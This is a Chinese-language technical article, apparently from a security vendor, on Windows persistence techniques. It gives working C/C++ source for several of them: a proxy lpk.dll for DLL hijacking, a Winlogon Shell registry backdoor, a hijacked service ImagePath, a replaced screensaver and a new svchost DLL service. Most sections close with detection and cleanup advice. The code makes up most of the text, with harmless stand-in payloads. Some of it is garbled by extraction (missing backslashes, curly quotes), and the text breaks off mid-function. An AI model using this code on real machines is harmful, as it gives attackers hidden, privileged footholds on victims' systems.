DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL，且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置，则应用程序将加载恶意DLL。
可以用来劫持系统程序，也可以劫持用户程序。劫持系统程序具有兼容性，劫持用户程序则有针对性。结合本文的主题，这里选择劫持系统程序。
可以劫持的dll有：
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll为列，explorer桌面程序的启动需要加载lpk.dll，当进入桌面后lpk.dll便被加载了，劫持lpk.dll之后，每次启动系统，自己的lpk.dll都会被加载，实现了持久化攻击的效果。
下面就是要构建一个lpk.dll：
将系统下的lpk.dll导入IDA，查看导出表的函数
构造一个和lpk.dll一样的导出表
加载系统目录下的lpk.DLL；
将导出函数转发到系统目录下的LPK.DLL上
在初始化函数中加入我们要执行的代码。
具体dll代码如下：
#include "pch.h"
#include <windows.h>
#include <process.h>
// 导出函数
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
// 宏定义
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)
#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl
//LpkEditControl导出的是数组，不是单一的函数（by Backer）
EXTERNC void __cdecl AheadLib_LpkEditControl(void);
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = { AheadLib_LpkEditControl };
//添加全局变量
BOOL g_bInited = FALSE;
// AheadLib 命名空间
namespace AheadLib
{
HMODULE m_hModule = NULL; // 原始模块句柄
// 加载原始模块
BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
GetSystemDirectory(tzPath, MAX_PATH);
lstrcat(tzPath, TEXT("\lpk.dll"));
OutputDebugString(tzPath);
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
{
wsprintf(tzTemp, TEXT("无法加载 %s，程序无法正常运行。"), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
};
return (m_hModule != NULL);
}
// 释放原始模块
VOID WINAPI Free()
{
if (m_hModule)
{
FreeLibrary(m_hModule);
}
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintfA(szProcName, "%p", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("无法找到函数 %hs，程序无法正常运``行。"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace AheadLib;
//函数声明
void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)
{
MessageBoxA(0, "Hello Topsec", "Hello Topsec", 0);
return;
}
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (g_bInited == FALSE) {
Load();
g_bInited = TRUE;
}
//LpkEditControl这个数组有14个成员，必须将其复制过来
memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
_beginthread(Init, NULL, NULL);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
// 导出函数
ALCDECL AheadLib_LpkInitialize(void)
{
if (g_bInited == FALSE) {
Load();
g_bInited = TRUE;
}
GetAddress("LpkInitialize");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
GetAddress("LpkTabbedTextOut");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkDllInitialize(void)
{
GetAddress("LpkDllInitialize");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkDrawTextEx(void)
{
GetAddress("LpkDrawTextEx");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkEditControl(void)
{
GetAddress("LpkEditControl");
__asm jmp DWORD ptr[EAX];
}
// 导出函数
ALCDECL AheadLib_LpkExtTextOut(void)
{
GetAddress("LpkExtTextOut");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
GetAddress("LpkGetCharacterPlacement");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
GetAddress("LpkGetTextExtentExPoint");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkPSMTextOut(void)
{
GetAddress("LpkPSMTextOut");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
GetAddress("LpkUseGDIWidthCache");
__asm JMP EAX;
}
// 导出函数
ALCDECL AheadLib_ftsWordBreak(void)
{
GetAddress("ftsWordBreak");
__asm JMP EAX;
}
最后修改注册表键值HKEY_LOCAL_MACHINESystemCurrentControlSetControlSessionManager ExcludeFromKnownDlls，把lpk.dll加进去。
HKEY hKey;
DWORD dwDisposition;
const char path[] = “lpk.dll”;
RegCreateKeyExA(HKEY_LOCAL_MACHINE,” System CurrentControlSet Control SessionManager “, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition));
RegSetValueExA(hKey, NULL, 0, REG_MULTI_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
### 运行效果图
将生成的lpk.dll放到c:/Windows目录
重启系统，自动弹出对话框
查找explorer，加载的正是我们的lpk.dll
注册表修改如下
### 检查及清除方法
启用安全DLL搜索模式，与此相关的Windows注册表键位于HKLMSYSTEMCurrentControlSetControlSession
ManagerSafeDLLSearchMode
监视加载到进程中的DLL，并检测具有相同文件名但路径异常的DLL。
## winlogon helper
### 原理及代码介绍
Winlogon.exe进程是Windows操作系统中非常重要的一部分，Winlogon用于执行与Windows登录过程相关的各种关键任务，例如，当在用户登录时，Winlogon进程负责将用户配置文件加载到注册表中。
Winlogon进程会HOOK系统函数监控键盘是否按下Ctrl + Alt + Delete，这被称为“Secure Attention
Sequence”，这就是为什么一些系统会配置为要求您在登录前按Ctrl + Alt +
Delete。这种键盘快捷键的组合被Winlogon.exe捕获，确保您安全登录桌面，其他程序无法监控您正在键入的密码或模拟登录对话框。Windows登录应用程序还会捕获用户的键盘和鼠标活动，在一段时间未发现键盘和鼠标活动时启动屏幕保护程序。
总之，Winlogon是登录过程的关键部分，需要持续在后台运行。如果您有兴趣，Microsoft还提供Winlogon进程的更详细的技术说明，在此不再赘述。
在注册表项HKLMSoftwareMicrosoftWindowsNTCurrentVersionWinlogon和HKCUSoftwareMicrosoftWindows
NTCurrentVersionWinlogon用于管理支持Winlogon的帮助程序和扩展功能，对这些注册表项的恶意修改可能导致Winlogon加载和执行恶意DLL或可执行文件。已知以下子项可能容易被恶意代码所利用：
WinlogonNotify – 指向处理Winlogon事件的通知包DLL
WinlogonUserinit – 指向userinit.exe，即用户登录时执行的用户初始化程序
WinlogonShell – 指向explorer.exe，即用户登录时执行的系统shell
攻击者可以利用这些功能重复执行恶意代码建立持久后门，如下的代码演示了如何通过在WinlogonShell子键添加恶意程序路径实现驻留系统的目的。
BOOL add_winlogon_helper()
{
BOOL ret = FALSE;
LONG rcode = NULL;
DWORD key_value_type;
BYTE shell_value_buffer[MAX_PATH * 2];
DWORD value_buffer_size = sizeof(shell_value_buffer) ;
HKEY winlogon_key = NULL;
DWORD set_value_size;
BYTE path[MAX_PATH];
rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Software\Microsoft\Windows NT\CurrentVersion\Winlogon"),
NULL, KEY_ALL_ACCESS, &winlogon_key);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
rcode = RegQueryValueEx(winlogon_key,_TEXT("shell"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if (rcode != ERROR_SUCCESS)
{
//找不到指定的键值
if (rcode == 0x2)
{
//写入explorer.exe 和 自定义的路径
lstrcpy((TCHAR*)path, _TEXT("explorer.exe, rundll32.exe "C:\topsec.dll" RunProc"));
set_value_size = lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, path, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
else
{
goto ERROR_EXIT;
}
}
else
{
//原先已存在，追加写入
lstrcat((TCHAR*)shell_value_buffer, _TEXT(",rundll32.exe "C:\topsec.dll" RunProc"));
set_value_size = lstrlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, shell_value_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
ret = TRUE;
ERROR_EXIT:
if (winlogon_key != NULL)
{
RegCloseKey(winlogon_key);
winlogon_key = NULL;
}
return ret;
}
其中topsec.dll 的导出函数RunProc 代码如下：
extern “C” __declspec(dllexport) void RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR lpCmdLine,int nCmdShow)
{
while (TRUE)
{
OutputDebugString(_TEXT(“Hello Topsec with Rundll32!!!”));
Sleep(1000);
}
}
### 运行效果图
当该用户下次登录的时候Winlogon会带动Rundll32程序，通过命令行参数加载预设的DLL文件执行其导出函数，如下图所示，目标稳定运行中：
运行后的注册表键值情况如下图所示：
### 检查及清除方法
检查以下2个注册表路径中的“Shell”、“Userinit”、“Notify”等键值是否存在不明来历的程序路径
1） HKLMSoftware[Wow6432Node]MicrosoftWindows NTCurrentVersionWinlogon
2） HKCUSoftware[Wow6432Node]MicrosoftWindows NTCurrentVersionWinlogon
关键键值如下图所示：
1）WinlogonNotify – 默认指向处理Winlogon事件的通知包DLL
2）WinlogonUserinit – 默认指向userinit.exe，即用户登录时执行的用户初始化程序
3）WinlogonShell – 默认指向explorer.exe，即用户登录时执行的系统shell
## 篡改服务进程
### 原理及代码介绍
Windows服务的配置信息存储在注册表中，一个服务项有许多键值，想要修改现有服务，就要了解服务中的键值代表的功能。
“DisplayName”，字符串值，对应服务名称；
“Description”，字符串值，对应服务描述；
“ImagePath”，字符串值，对应该服务程序所在的路径；
“ObjectName”，字符串值，值为“LocalSystem”，表示本地登录；
“ErrorControl”，DWORD值，值为“1”；
“Start”，DWORD值，值为2表示自动运行，值为3表示手动运行，值为4表示禁止；
“Type”，DWORD值，应用程序对应10，其他对应20。
在这里，我们只需要注意“ImagePath”，“Start”，“Type”三个键值，“ImagePath”修改为自己的程序路径，“Start”改为2，自动运行，“Type”改为10应用程序。
接下来就要选择一个服务，在这里，我们选择的服务是“COMSysApp”，本身“Type”为10。
修改键值的代码如下：
HKEY hKey;
DWORD dwDisposition;
DWORD dwData = 2;
const char system[] = "C:\SeviceTopSec.exe";//hello.exe
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\CurrentControlSet\services\COMSysApp", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "ImagePath", 0, REG_EXPAND_SZ, (BYTE*)system, (1 + ::lstrlenA(system))))
{
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "Start", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD)))
{
return 0;
}
return 0;
但是“ImagePath”中的程序并不是普通的程序，需要用到一些特定的API，完成服务的创建流程。
总的来说，一个遵守服务控制管理程序接口要求的程序包含下面三个函数：
服务程序主函数（main）：调用系统函数 StartServiceCtrlDispatcher 连接程序主线程到服务控制管理程序。
服务入口点函数（ServiceMain）：执行服务初始化任务，同时执行多个服务的服务进程有多个服务入口函数。
控制服务处理程序函数（Handler）：在服务程序收到控制请求时由控制分发线程引用。
服务程序代码如下：
HANDLE hServiceThread;
void KillService();
char* strServiceName = “sev_topsec”;
SERVICE_STATUS_HANDLE nServiceStatusHandle;
HANDLE killServiceEvent;
BOOL nServiceRunning;
DWORD nServiceCurrentStatus;
void main(int argc, char* argv[])
{
SERVICE_TABLE_ENTRYA ServiceTable[] =
{
{strServiceName,(LPSERVICE_MAIN_FUNCTIONA)ServiceMain},
{NULL,NULL}
};
BOOL success;
success = StartServiceCtrlDispatcherA(ServiceTable);
if (!success)
{
printf("fialed!");
}
}
void ServiceMain(DWORD argc, LPTSTR* argv)
{
BOOL success;
nServiceStatusHandle = RegisterServiceCtrlHandlerA(strServiceName,
(LPHANDLER_FUNCTION)ServiceCtrlHandler);
success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 1, 3000);
killServiceEvent = CreateEvent(0, TRUE, FALSE, 0);
if (killServiceEvent == NULL)
{
return;
}
success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000);
success = InitThread();
nServiceCurrentStatus = SERVICE_RUNNING;
success = ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0, 0, 0);
WaitForSingleObject(killServiceEvent, INFINITE);
CloseHandle(killServiceEvent);
}
BOOL ReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORD dwServiceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)
{
BOOL success;
SERVICE_STATUS nServiceStatus;
nServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
nServiceStatus.dwCurrentState = dwCurrentState;
if (dwCurrentState == SERVICE_START_PENDING)
{
nServiceStatus.dwControlsAccepted = 0;
}
else
{
nServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_SHUTDOWN;
}
if (dwServiceSpecificExitCode == 0)
{
nServiceStatus.dwWin32ExitCode = dwWin32ExitCode;
}
else
{
nServiceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;
}
nServiceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode;
//
nServiceStatus.dwCheckPoint = dwCheckPoint;
nServiceStatus.dwWaitHint = dwWaitHint;
success = SetServiceStatus(nServiceStatusHandle, &nServiceStatus);
if (!success)
{
KillService();
return success;
}
else
return success;
}
BOOL InitThread()
{
DWORD id;
hServiceThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)OutputString,
0, 0, &id);
if (hServiceThread == 0)
{
return false;
}
else
{
nServiceRunning = true;
return true;
}
}
DWORD OutputString(LPDWORD param)
{
OutputDebugString(L”Hello TopSecn”);
return 0;
}
void KillService()
{
nServiceRunning = false;
SetEvent(killServiceEvent);
ReportStatusToSCMgr(SERVICE_STOPPED, NO_ERROR, 0, 0, 0);
}
void ServiceCtrlHandler(DWORD dwControlCode)
{
BOOL success;
switch (dwControlCode)
{
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
nServiceCurrentStatus = SERVICE_STOP_PENDING;
success = ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0, 1, 3000);
KillService();
return;
default:
break;
}
ReportStatusToSCMgr(nServiceCurrentStatus, NO_ERROR, 0, 0, 0);
}
### 运行效果图
先修改注册表中的键值
重启“COMSysApp“服务
发现在DebugView中打印出字符串。
在任务管理器中点击转到进程，发现我们自己写的服务程序正在运行
### 检查及清除方法
检查注册表中与已知程序无关的注册表项的更改
检查已知服务的异常进程调用树。
## 替换屏幕保护程序
### 原理及代码介绍
屏幕保护是为了保护显示器而设计的一种专门的程序。当时设计的初衷是为了防止电脑因无人操作而使显示器长时间显示同一个画面，导致老化而缩短显示器寿命。用户在一定时间内不活动鼠标键盘之后会执行屏幕保护程序，屏保程序为具有.scr文件扩展名的可执行文件（PE）。
攻击者可以通过将屏幕保护程序设置为在用户鼠标键盘不活动的一定时间段之后运行恶意软件，也就是利用屏幕保护程序设置来维持后门的持久性。
屏幕保护程序的配置信息存储在在注册表中，路径为HKCUControl PanelDesktop，我们也可以通过改写关键键值来实现后门持久：
SCRNSAVE.EXE – 设置为恶意PE路径
ScreenSaveActive – 设置为“1”以启用屏幕保护程序
ScreenSaverIsSecure – 设置为“0”，不需要密码即可解锁
ScreenSaverTimeout – 指定在屏幕保护程序启动之前系统保持空闲的时间。
更具体的信息，可以查看微软对相关注册表项的说明页面， 点击此处。
如下的代码演示了如何通过屏保程序来实现后门持久化：
BOOL add_to_screensaver()
{
BOOL ret = FALSE;
LONG rcode = NULL;
DWORD key_value_type;
BYTE shell_value_buffer[MAX_PATH * 2];
DWORD value_buffer_size = sizeof(shell_value_buffer) ;
HKEY desktop_key = NULL;
DWORD set_value_size;
BYTE set_buffer[MAX_PATH];
rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT(“Control PanelDesktop”),
NULL, KEY_ALL_ACCESS, &desktop_key);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key,_TEXT(“ScreenSaveActive”), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if (rcode != ERROR_SUCCESS)
{
//找不到指定的键值，说明未开启屏保功能。
if (rcode == 0x2)
{
//设置待启动程序路径
lstrcpy((TCHAR*)set_buffer, _TEXT(“C:topsec.exe”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//设置启动时间，60秒无鼠标键盘活动后启动屏保
lstrcpy((TCHAR*)set_buffer, _TEXT(“60”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveTimeOut”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//开启屏保功能
lstrcpy((TCHAR*)set_buffer, _TEXT(“1”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveActive”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
else
{
goto ERROR_EXIT;
}
}
else
{
//有键值存在,已开启屏幕保护功能，需要保存原设置，驻留程序按实际情况启动原屏保
if(lstrcmp(_TEXT(“1”), (TCHAR*)shell_value_buffer) == NULL)
{
//读取原值并保存
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key,_TEXT(“SCRNSAVE.EXE”), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if(rcode != ERROR_SUCCESS && rcode != 0x2)
{
goto ERROR_EXIT;
}
//当ScreenSaveActive值为1 而又不存在SCRNSAVE.EXE时，不备份。
if(rcode != 0x2)
{
rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE.BAK”), NULL, REG_SZ, shell_value_buffer, value_buffer_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
//改为待启动程序
lstrcpy((TCHAR*)set_buffer, _TEXT(“C:topsec.exe”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//判断是否有配置屏保启动时间
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key,_TEXT(“ScreenSaveTimeOut”), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if(rcode != ERROR_SUCCESS && rcode == 0x2)
{
//设置启动时间,60秒无鼠标键盘活动后启动屏保
lstrcpy((TCHAR*)set_buffer, _TEXT(“60”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveTimeOut”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
}
else if(lstrcmp(_TEXT(“0”), (TCHAR*)shell_value_buffer) == NULL)
{
//该值为0，未开启屏幕保护功能
//设置待启动程序路径
lstrcpy((TCHAR*)set_buffer, _TEXT(“C:topsec.exe”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//设置启动时间,60秒无鼠标键盘活动后启动屏保
lstrcpy((TCHAR*)set_buffer, _TEXT(“60”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveTimeOut”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//开启屏保功能
lstrcpy((TCHAR*)set_buffer, _TEXT(“1”));
set_value_size = lstrlen((TCHAR)set_buffer) sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveActive”), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
}
ret = TRUE;
ERROR_EXIT:
if (desktop_key != NULL)
{
RegCloseKey(desktop_key);
desktop_key = NULL;
}
return ret;
}
其中topsec.exe 代码如下：
int _tmain(int argc, _TCHAR* argv[])
{
int i = 10000;
while(i)
{
i—;
Sleep(1000);
OutputDebugString(_TEXT(“Hello Topsec!!!”));
}
return 0;
}
### 运行效果图
当该用户因鼠标键盘未操作触发屏保程序运行，我们的程序就被启动了，运行后的效果及注册表键值情况如下图所示：
### 检查及清除方法
1、 检查注册表路径HKCUControl PanelDesktop，删除包含来历不明的屏保程序配置信息。
2、 通过组策略以强制用户使用专用的屏幕保护程序，或者是通过组策略完全禁用屏保功能。
## 创建新服务
### 原理及代码介绍
在Windows上还有一个重要的机制，也就是服务。服务程序通常默默的运行在后台，且拥有SYSTEM权限，非常适合用于后门持久化。我们可以将EXE文件注册为服务，也可以将DLL文件注册为服务，本文这一部分将以DLL类型的服务为例，介绍安装及检查的思路。
相信不论是安全从业者还是普通用户都听说过svchost
进程，系统中存在不少Svchost进程，有的还会占用很高的cpu，究竟这个Svchost是何方神圣？是恶意代码还是正常程序？相信不少人用户发出过这样的疑问。实际上Svchost是一个正常的系统程序，只不过他是DLL类型服务的外壳程序，容易被恶意代码所利用。
Service Host (Svchost.exe) 是共享服务进程，作为DLL文件类型服务的外壳，由Svchost程序加载指定服务的DLL文件。
在Windows 10 1703 以前，不同的共享服务会组织到关联的Service host组中，每个组运行在不同的Service
Host进程中。这样如果一个Service Host发生问题不会影响其他的Service
Host。Windows通过将服务与匹配的安全性要求相结合，来确定Service Host Groups，一部分默认的组名如下：
Local Service
Local Service No Network
Local Service Network Restricted
Local System
Local System Network Restricted
Network Service
而从Windows 10 Creators Update（版本1703）开始，先前分组的服务将被分开，每个服务将在其自己的SvcHost
Host进程中运行。对于运行Client Desktop SKU的RAM 超过3.5 GB的系统，此更改是自动的。在具有3.5
GB或更少内存的系统上，将继续将服务分组到共享的SvcHost进程中。
此设计更改的好处包括：
通过将关键网络服务与主机中的其他非网络服务的故障隔离，并在网络组件崩溃时添加无缝恢复网络连接的能力，提高了可靠性。
通过消除与隔离共享主机中的行为不当服务相关的故障排除开销，降低了支持成本。
通过提供额外的服务间隔离来提高安全性
通过允许每项服务设置和权限提高可扩展性
通过按服务CPU，I / O和内存管理改进资源管理，并增加清晰的诊断数据（报告每个服务的CPU，I / O和网络使用情况）。
在系统启动时，Svchost.exe会检查注册表以确定应加载哪些服务，注册表路径如下：HKLMSOFTWAREMicrosoftWindows
NTCurrentVersionSvchost .在笔者的电脑上，如下图：
而在注册表HKLMSYSTEMCurrentControlSetServices，保存着注册服务的相关信息，以netsvcs组中的AeLoookupSvc为例，我们看一下相关信息：
该路径下保存了服务的ImagePath、Description、DisplayName等信息，当然还包含一些服务的其他配置，这里不一一列举。如下的代码演示了如何添加一个利用Svchost启动的DLL共享服务。
BOOL search_svchost_service_name(TCHAR* service_name_buffer, PDWORD buffer_size)
{
BOOL bRet = FALSE;
int rc = 0;
HKEY hkRoot;
BYTE buff[2048];
TCHAR* ptr = NULL;
DWORD type;
DWORD size = sizeof(buff);
int i = 0;
bool bExist = false;
TCHAR tmp_service_name[50];
TCHAR* pSvchost = _TEXT(“SOFTWAREMicrosoftWindows NTCurrentVersionSvchost”);
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)
{
return NULL;
}
rc = RegQueryValueEx(hkRoot, _TEXT(“netsvcs”), 0, &type, buff, &size);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
RegCloseKey(hkRoot);
return NULL;
}
do
{
wsprintf(tmp_service_name, _TEXT(“netsvcs_0x%d”), i);
for(ptr = (TCHAR)buff; ptr; ptr = _tcschr(ptr, 0)+1)
{
if (lstrcmpi(ptr, tmp_service_name) == 0)
{
bExist = true;
break;
}
}
if (bExist == false)
{
break;
}
bExist = false;
i++;
} while(1);
memcpy(buff + size - sizeof(TCHAR), tmp_service_name, lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));
rc = RegSetValueEx(hkRoot, _TEXT(“netsvcs”), 0, REG_MULTI_SZ, buff, size + lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));
if(ERROR_SUCCESS != rc)
{
goto ERROE_EXIT;
}
if (bExist == false)
{
lstrcpyn(service_name_buffer, tmp_service_name, *buffer_size);
*buffer_size =lstrlen(service_name_buffer);
}
bRet = TRUE;
ERROE_EXIT:
if (hkRoot != NULL)
{
RegCloseKey(hkRoot);
hkRoot = NULL;
}
return bRet;
}
BOOL install_service(LPCTSTR full_dll_path, TCHAR* service_name_buffer, PDWORD buffer_size)
{
BOOL bRet = FALSE;
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE;
HKEY hkParam = 0;
SC_HANDLE hscm = NULL;
SC_HANDLE schService = NULL;
TCHAR strModulePath[MAX_PATH];
TCHAR strSysDir[MAX_PATH];
DWORD dwStartType = 0;
BYTE buff[1024];
DWORD type;
DWORD size = sizeof(buff);
TCHAR* binary_path = _TEXT(“%SystemRoot%System32svchost.exe -k netsvcs”);
TCHAR* ptr;
TCHAR* pSvchost = _TEXT(“SOFTWAREMicrosoftWindows NTCurrentVersionSvchost”);
rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
rc = RegQueryValueEx(hkRoot, _TEXT(“netsvcs”), 0, &type, buff, &size);
RegCloseKey(hkRoot);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
//install service
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
{
goto ERROR_EXIT;
}
if(!search_svchost_service_name(service_name_buffer, buffer_size))
{
goto ERROR_EXIT;
}
schService = CreateService(
hscm, // SCManager database
service_name_buffer, // name of service
service_name_buffer, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
binary_path, // service’s binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;
if (schService == NULL)
{
goto ERROR_EXIT;
}
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
//config service
hkRoot = HKEY_LOCAL_MACHINE;
lstrcpy((TCHAR*)buff, _TEXT(“SYSTEMCurrentControlSetServices“));
lstrcat((TCHAR*)buff, service_name_buffer);
rc = RegOpenKeyEx(hkRoot, (TCHAR*)buff, 0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
